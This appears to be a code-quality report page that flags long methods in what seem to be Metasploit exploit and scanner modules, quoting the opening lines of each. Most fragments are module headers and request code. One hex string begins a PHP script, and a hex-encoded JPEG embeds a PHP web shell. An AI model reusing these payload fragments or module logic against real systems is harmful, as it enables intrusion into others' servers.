Showing 7,361 of 22,177 total issues
Method run
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def run
print_status("Establishing a connection to the target...")
uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php')
rpath = uri + "?days=1&offset=0&sort_mode="
Method parse_ns_config
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def parse_ns_config
ns_config_data = File.binread(ns_conf)
ns_secret.each do |secret|
element = secret[0]
secret[1].each do |keyword|
Method run
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def run
clientip = datastore['CLIENTIP']
serverip = datastore['SERVERIP']
bnatip = datastore['BNATIP']
outint = datastore['OUTINF']
Method run_host
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def run_host(ip)
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD'],
realm: datastore['DOMAIN'],
Method run_host
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def run_host(ip)
begin
connect
res = send_request_raw({ 'uri' => '/hw-sys.htm', 'method' => 'GET' })
unless res && res.headers['Server'].to_s.index('Intel(R) Active Management Technology')
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE scanner',
Method run_host
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def run_host(_target_host)
# Check if we have a valid version to test
if version
if version.empty?
print_error('VERSION cannot be empty. Please provide an existing Nagios XI VERSION or use `unset VERSION` to cancel')
Method do_login
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def do_login(user='msf', pass='msf')
vprint_status(" - Trying username:'#{user}' with password:'#{pass}'")
begin
res = send_request_cgi({
'uri' => datastore['URILOGIN'],
Method do_login
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def do_login(opts={})
@connected = false
disconnect if self.sock
connect
Method exploit
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def exploit
print_status("Logging in as user [ #{datastore['USER']} ]")
res = send_request_cgi({
'method' => 'POST',
Method create_temp_file
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def create_temp_file
url_jhot = normalize_uri(datastore['URI'], "/jhot.php")
scode =
"\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',
'Description' => %q(
This module exploits a type confusion on Adobe Flash Player, which was
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss JMX Console Deployer Upload and Execute',
'Description' => %q{
This module can be used to execute a payload on JBoss servers that have
Method upload_file
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def upload_file(img_name, wp_nonce, cookie)
img_data = %w[
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F
74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00
10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ForgeRock / OpenAM Jato Java Deserialization',
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HP SiteScope Remote Code Execution',
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP BigUp Plugin Unauthenticated RCE',
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
Method initialize
has 64 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',